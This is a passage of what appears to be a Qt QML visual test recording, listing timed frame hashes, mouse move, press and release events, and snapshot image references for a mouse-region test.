"1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1344 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1360 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1376 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1392 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1408 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1424 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1440 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1456 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1472 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1488 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1504 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1520 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1536 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1552 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1568 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1584 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1600 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1616 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1632 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1648 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Frame { - msec: 1664 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 2; y: 29 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 7; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1680 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 19; y: 40 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 33; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1696 - hash: "1121bb51fc2d4c5c7ef3ae2c44794b49" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 49; y: 54 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1712 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 56 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 56 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1728 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 57 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 81; y: 57 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1744 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 56 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 55 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1760 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 54 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1776 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 53 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1792 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Frame { - msec: 1808 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Frame { - msec: 1824 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Frame { - msec: 1840 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Frame { - msec: 1856 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Frame { - msec: 1872 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 52 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 51 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1888 - hash: "337f0f4af627bbdf8807135ce39d5070" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 80; y: 50 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 48 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1904 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 75; y: 46 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 73; y: 45 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1920 - image: "mouseregion.1.png" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 71; y: 43 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 68; y: 41 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1936 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 66; y: 40 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1952 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 39 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 37 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1968 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 36 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 60; y: 36 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1984 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 34 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2000 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 56; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2016 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 55; y: 30 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 54; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2032 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2048 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2064 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2080 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2096 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2112 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2128 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 54; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2144 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2160 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2176 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2192 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2208 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2224 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2240 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 54; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2256 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2272 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2288 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2304 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2320 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2336 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2352 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2368 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2384 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2400 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2416 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2432 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2448 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2464 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2480 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2496 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2512 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2528 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2544 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2560 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2576 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2592 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2608 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2624 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2640 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 2 - button: 2 - buttons: 2 - x: 54; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2656 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2672 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2688 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2704 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2720 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2736 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2752 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 3 - button: 2 - buttons: 0 - x: 54; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2784 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2800 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2816 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2832 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2848 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2864 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 2880 - image: "mouseregion.2.png" - } - Frame { - msec: 2896 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 55; y: 29 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2912 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 29 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2928 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 75; y: 30 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2944 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 91; y: 34 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 34 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2960 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 107; y: 34 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 113; y: 34 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2976 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 119; y: 34 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 124; y: 33 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2992 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 128; y: 33 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 131; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3008 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 132; y: 32 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 132; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3024 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3040 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3056 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3072 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3088 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3104 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3120 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3136 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3152 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3168 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3184 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3200 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3216 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3232 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3248 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3264 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3280 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3296 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3312 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3328 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3344 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3360 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3376 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3392 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3408 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3424 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3440 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3456 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3472 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3488 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3504 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3520 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3536 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3552 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 133; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3568 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3584 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 133; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3600 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3616 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3632 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3648 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3664 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3680 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3696 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 133; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3712 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3728 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3744 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3760 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3776 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3792 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3808 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3824 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3840 - image: "mouseregion.3.png" - } - Frame { - msec: 3856 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3872 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3888 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3904 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3920 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3936 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3952 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3968 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 3984 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4000 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4016 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4032 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4048 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4064 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4080 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4096 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4112 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4128 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4144 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4160 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4176 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4192 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4208 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4224 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4240 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4256 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4272 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4288 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4304 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4320 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 2 - button: 2 - buttons: 2 - x: 133; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4336 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4352 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4368 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4384 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4400 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4416 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Frame { - msec: 4432 - hash: "73f1639b9e2164c7b974042934c0d151" - } - Mouse { - type: 3 - button: 2 - buttons: 0 - x: 133; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4448 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4464 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4480 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4496 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4512 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4528 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4544 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4560 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4576 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4592 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4608 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4624 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4640 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4656 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4672 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4688 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4704 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4720 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4736 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 133; y: 32 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 136; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4752 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 142; y: 32 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 148; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4768 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 155; y: 32 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 161; y: 32 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4784 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 166; y: 31 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4800 - image: "mouseregion.4.png" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 168; y: 31 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 170; y: 30 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4816 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 171; y: 29 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4832 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4848 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4864 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 4880 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 172; y: 28 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 175; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4896 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 178; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4912 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 182; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 187; y: 22 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4928 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 191; y: 22 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 195; y: 21 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4944 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 200; y: 21 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 206; y: 21 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4960 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 211; y: 21 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 215; y: 21 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4976 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 218; y: 21 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 221; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4992 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 224; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5008 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 225; y: 20 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 226; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5024 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 227; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5040 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5056 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5072 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 228; y: 20 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 229; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5088 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 231; y: 20 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 232; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5104 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 233; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5120 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5136 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5152 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5168 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 233; y: 21 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 234; y: 22 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5184 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 237; y: 23 - modifiers: 0 - sendToViewport: true - } - 